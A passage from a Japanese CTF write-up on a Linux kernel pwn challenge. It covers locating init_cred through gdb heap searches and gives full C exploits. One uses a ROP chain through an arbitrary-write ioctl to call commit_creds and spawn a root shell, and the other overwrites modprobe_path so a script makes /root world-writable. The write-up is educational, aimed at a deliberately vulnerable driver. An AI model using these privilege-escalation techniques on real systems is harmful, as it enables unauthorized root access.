 * - lock it with task_lock()
 */
char				comm[TASK_COMM_LEN];

struct nameidata		*nameidata;

参考:linux/sched.h at 64569520920a3ca5d456ddd9f4f95fc6ea9b8b45 · torvalds/linux

つまり、カーネルのヒープアドレスを特定してメモリ内で initcred のバイト列を検索することで initcred のアドレスを特定することができるようになります。

ヒープアドレスの上手い特定方法はわかりませんでしたが、今回はヒープアドレスを持つ適当な構造体のメモリを参照することで特定しました。

今回利用した構造体は tty_struct です。

ttystruct のアドレス特定には、alloctty_struct 関数を利用しました。

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;

	tty = kzalloc(sizeof(*tty), GFP_KERNEL_ACCOUNT);
	if (!tty)
		return NULL;

	kref_init(&tty->kref);
	if (tty_ldisc_init(tty)) {
		kfree(tty);
		return NULL;
	}

参考:linux/tty_io.c at 64569520920a3ca5d456ddd9f4f95fc6ea9b8b45 · torvalds/linux

まずは、allocttystruct のロードアドレスを特定し、gdb でアセンブルします。

$ cat /proc/kallsyms | grep tty_struct
ffffffff813c9750 T __pfx_alloc_tty_struct
ffffffff813c9760 T alloc_tty_struct

$ x/100i 0xffffffff813c9760
   0xffffffff813c9760:  nop    WORD PTR [rax]
   0xffffffff813c9764:  push   rbp
   0xffffffff813c9765:  mov    edx,0x2b8
   0xffffffff813c976a:  mov    rbp,rsp
   0xffffffff813c976d:  push   r14
   0xffffffff813c976f:  push   r13
   0xffffffff813c9771:  mov    r13d,esi
   0xffffffff813c9774:  mov    esi,0x400dc0
   0xffffffff813c9779:  push   r12
   0xffffffff813c977b:  push   rbx
   0xffffffff813c977c:  mov    rbx,rdi
   0xffffffff813c977f:  sub    rsp,0x10
   0xffffffff813c9783:  mov    rdi,QWORD PTR [rip+0x8627a6]        # 0xffffffff81c2bf30
   0xffffffff813c978a:  mov    rax,QWORD PTR gs:0x28
   0xffffffff813c9793:  mov    QWORD PTR [rbp-0x28],rax
   0xffffffff813c9797:  xor    eax,eax
   0xffffffff813c9799:  call   0xffffffff8114f9b0
   0xffffffff813c979e:  mov    r12,rax
   0xffffffff813c97a1:  test   rax,rax
   0xffffffff813c97a4:  je     0xffffffff813c99b6
   0xffffffff813c97aa:  mov    DWORD PTR [rax],0x1

前述のソースコードと対応させて考えると、恐らくmov rdi,QWORD PTR [rip+0x8627a6] でロードしているアドレス 0xffffffff81c2bf30 が tty_struct のアドレスだと推察できます。

ttystruct では 0x10 オフセット目の `struct ttydriver *driver;` がヒープアドレスになる(らしい)ので、今回のヒープのベースアドレスを 0xffff8880024419c0 と仮定します。

image-20230610125032985

参考:Kernel Exploitation - YouTube

参考:Kernel Exploitで使える構造体集 - CTFするぞ

ここで、gdb を使用して以下のようにカーネルのヒープ領域内で init_cred のバイト列を探索します。

(gdb) find /g 0xffff8880024419c0,0xffff88800fffffff,0x0000000000000004,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x000001ffffffffff
// 省略
(gdb) x/21gx 0xffff88800321d780
0x0000000000000004      
0x0000000000000000
0x0000000000000000      
0x0000000000000000
0x0000000000000000     
0x0000000000000000
0x000001ffffffffff      
0x000001ffffffffff
0x000001ffffffffff      
0x0000000000000000
0xffffffff81e38bc0      
0xffffffff81e38c60
0xffffffff81e39f00      
0xffffffff81e396c0
0x0000000000000000      
0x0000000000000000
0x0000000000000001
0xffff888003252900
0xffff8880030e0bc8      
0xffff888003252f18
0x0000000000000000

その結果、0xffff88800321d780 に init_cred のものとみられるバイト列が確保されていることを特定できました。

root シェルを取得する

以上の結果を元に、以下のようなエクスプロイトコードを作成しました。

TARGET には、Ghidra と gdb で特定した CTF4BIOCTLLOAD 呼び出し時の ret が参照する rsp のアドレスを指定しています。

これにより、AAW の脆弱性を突いてスタック領域に作成した ROP ガジェットを配置できます。

今回の環境では SMEP と SMAP は無効化されていますので、ROP ガジェットや save_state 関数はユーザ空間で定義したものを使用できました。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define CTF4B_MSG_SIZE 0x100

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long commit_creds = 0xffffffff81093d50;
unsigned long init_cred = 0xffff88800321d780;
unsigned long rop_bypass_kpti = 0xffffffff81801811;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff818017e0;

#define TARGET 0xffffc9000017fea8

static void win() {
  puts("[*] Hello from user land!");
  uid_t uid = getuid();
  if (uid == 0) {
      printf("[+] UID: %d, got root!\n", uid);
  } else {
      printf("[!] UID: %d, we root-less :(!\n", uid);
      exit(-1);
  }
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  execve("/bin/sh", argv, envp);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
    save_state();

    int fd;
    fd = open("/dev/ctf4b", O_RDWR);
    if (fd == -1) fatal("/dev/ctf4b");

    unsigned int buf;
    buf = (unsigned int*)malloc(CTF4B_MSG_SIZE);
    unsigned long *chain = buf;
    *chain++ = rop_pop_rdi;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = rop_bypass_kpti;
    *chain++ = 0xdeadbeef; // [rdi]
    *chain++ = 0xdeadbeef;
    *chain++ = (unsigned long)&win; // [rdi+0x10]
    *chain++ = user_cs;             // [rdi+0x18]
    *chain++ = user_rflags;         // [rdi+0x20]
    *chain++ = user_rsp;            // [rdi+0x28]
    *chain++ = user_ss;             // [rdi+0x30]

    if (ioctl(fd, CTF4B_IOCTL_STORE, buf) == -1) {
        perror("ioctl");
        exit(1);
    }

    if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
        perror("ioctl");
        exit(1);
    }

    close(fd);
    return 0;
}

どうも release 環境だと TARGET で指定している ret 時のスタックポインタのアドレスが微妙に変わる場合があり、エクスプロイトは通ったり通らなかったりしますが、上手く動くタイミングだと以下のように root ユーザのシェルに昇格させることができるようになります。

image-20230610114143821

あまりにもエクスプロイトの成功率がまちまちなので何か間違っているのかもしれませんが通ったのでヨシ!

ret 時に参照しているスタックのアドレスはカーネルの再起動をするまでは不変のようなので、もしかしたら本来は AAR とかを駆使して一度スタックのアドレスをリークさせてからエクスプロイトをかける必要があるのかもしれません。

modprobe_path の書き換えによる任意のスクリプト実行

別解として modprobe_path の書き換えによる任意のスクリプト実行も試していきます。

エクスプロイトコードについては同じチームのメンバーが以下の Writeup に書いているものと丸パクリします。

参考:SECCON Beginners CTF 2023 Writeup

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>


#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define modprobe_path_addr 0xffffffff81e3a080 

int main(int argc, char *argv[])
{
    int fd; 
    int cmd; 
    

    fd = open("/dev/ctf4b", O_RDWR);
    if (fd == -1) {
        perror("open");
        exit(1);
    }

    char evilpath[] = "/tmp/evil.sh";

    if (ioctl(fd, CTF4B_IOCTL_STORE, evilpath) == -1) {
        perror("ioctl");
        exit(1);
    }

    if (ioctl(fd, CTF4B_IOCTL_LOAD, modprobe_path_addr) == -1) {
        perror("ioctl");
        exit(1);
    }
    
    system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
    system("chmod +x /tmp/evil.sh");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn");

    close(fd);
    return 0;
}

このエクスプロイトを実行すると、Flag が存在している root ディレクトリ以下のファイルにアクセス権限 777 を割り当ててユーザ権限のシェルから読み取りできるようになります。

image-20230610132444600

ちなみに、modprobepathaddr で定義しているアドレスについては gdb で/sbin/modprobe の文字列を探すことで特定しています。

search "/sbin/modprobe"
>
Searching for value: '/sbin/modprobe'
0xffff888001e3a080 '/sbin/modprobe'
0xffffffff81e3a080 '/sbin/modprobe'

modprobe_path とは

modprobepath って何ぞ?という話ですが、`__requestmodule` 関数という事前に登録された ELF や shebang に該当しない不明なプログラムを呼び出す際にコールされる関数内で呼び出されるモジュールのパスのようです。

/*
	modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;

int __request_module(bool wait, const char *fmt, ...)
{
	va_list args;
	char module_name[MODULE_NAME_LEN];
	int ret;

	/*
	 * We don't allow synchronous module loading from async.  Module
	 * init may invoke async_synchronize_full() which will end up
	 * waiting for this task which already is waiting for the module
	 * loading to complete, leading to a deadlock.
	 */
	WARN_ON_ONCE(wait && current_is_async());

	if (!modprobe_path[0])
		return -ENOENT;

    {{ 中略 }}
    
	ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

	atomic_inc(&kmod_concurrent_max);
	wake_up(&kmod_wq);

	return ret;
}
EXPORT_SYMBOL(__request_module);

参考:kmod.c - kernel/kmod.c - Linux source code (v6.2.3) - Bootlin

この modprobe_path は通常書き込み可能領域で /sbin/modprobe を既定値として登録されています。

つまり、このパスを改ざんすることでカーネルで任意のコマンド実行が可能になります。

参考:Holstein v2: Heap Overflowの悪用 | PAWNYABLE!

先ほどのエクスプロイトの例では、以下の行で Flag の存在するディレクトリの権限を書き換えるシェルスクリプトを作成し、実行権限を付与しています。

system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");

こちらのスクリプトについては正しく実行できる必要があるので、必ず shebang を付与します。

続いて、0xdeadbeef などの適当なバイト列を埋め込んだファイルに実行権限を付与し、AAW を利用してカーネル内で実行させます。

system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");

この時、/tmp/pwn の実行は _requestmodule によって処理された際に modprobe_path を呼び出すことになるので、/tmp/evil.sh が実行されて root ディレクトリの権限が置き換わるというわけです。

modprobe_path の悪用が可能かどうか

今回のように AAW の脆弱性を悪用できる場合、modprobe_path の悪用により任意のコード実行を実現できる可能性が高いようです。

modprobepath の悪用自体は、SMAP や SMEP、または KPTI の緩和機構が入っていても利用することができますし、modprobepath はデータセクションに存在するため FGKASLR が仮に有効化されていても影響を受けないようです。(KASLR ではない)

今回問題バイナリとして与えられた config ファイルを見ると、以下のように明示的に modprobe_path に関する設定が与えられていました。

# Static modprobe_path
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"

参考:Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas Blog

modprobepath は callusermodehelper の仕組みで呼び出されるものなので、CONFIG_STATIC_USERMODEHELPER=y で有効化されている場合は悪用できると考えてよさそうです。

まとめ

Linux カーネルエクスプロイトへの初チャレンジでしたが、正直かなりしんどかったです笑

KPTI トランポリンを使う方法の Writeup が見当たらなかったので手探りで進めていたのですが、そのおかげでコンテスト中よりもだいぶ Linux カーネルに対する解像度が上がったような気がします。

Pwn もたまにやると楽しいですね。